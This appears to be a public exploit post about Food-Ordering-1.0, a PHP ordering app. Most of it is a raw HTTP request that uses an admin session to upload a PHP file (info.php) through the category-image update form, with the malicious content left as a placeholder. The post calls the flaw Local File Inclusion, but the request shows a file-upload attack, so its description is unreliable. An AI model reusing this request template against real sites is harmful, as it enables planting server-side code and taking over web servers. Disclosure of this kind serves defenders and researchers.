Food-Ordering-1.0 by Kato James Kalimba

# Title: Food-Ordering-1.0 by Kato James Kalimba | LFI # Author: nu11secur1ty # Date: 9/23/2026 # Vendor: # Software: # Reference: ## Description: A Local File Inclusion (LFI) vulnerability involving parameter values like id=30 often happens when user input is passed directly to file-handling or database-backed file retrieval functions without proper sanitization. When an authenticated user can manipulate this parameter, it can lead to directory traversal, unauthorized access to sensitive files, or full server compromise. STATUS: HIGH [+]Payload: ``` POST /web/admin/update_category.php?id=30&image_name=Category_1790143101.jpg HTTP/1.1 Host: localhost Content-Length: 751 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywUgBK3hPWQD0rRB1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Origin: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=v8ietn62kr8ovses41m9ckpvg9 Connection: keep-alive ------WebKitFormBoundarywUgBK3hPWQD0rRB1 Content-Disposition: form-data; name="title" ice cream ------WebKitFormBoundarywUgBK3hPWQD0rRB1 Content-Disposition: form-data; name="update_image"; filename="info.php" Content-Type: application/octet-stream #### Your EXPLOIT here... ------WebKitFormBoundarywUgBK3hPWQD0rRB1 Content-Disposition: form-data; name="featured" Yes ------WebKitFormBoundarywUgBK3hPWQD0rRB1 Content-Disposition: form-data; name="active" Yes ------WebKitFormBoundarywUgBK3hPWQD0rRB1 Content-Disposition: form-data; name="submit" update Category ------WebKitFormBoundarywUgBK3hPWQD0rRB1 Content-Disposition: form-data; name="current_image" Category_1790143101.jpg ------WebKitFormBoundarywUgBK3hPWQD0rRB1-- ``` # Reproduce: [href]( # Demo: [href]( # Time spent: 00:35:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at and page: hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty

Thanks for you ! Your message is in quarantine 48 hours.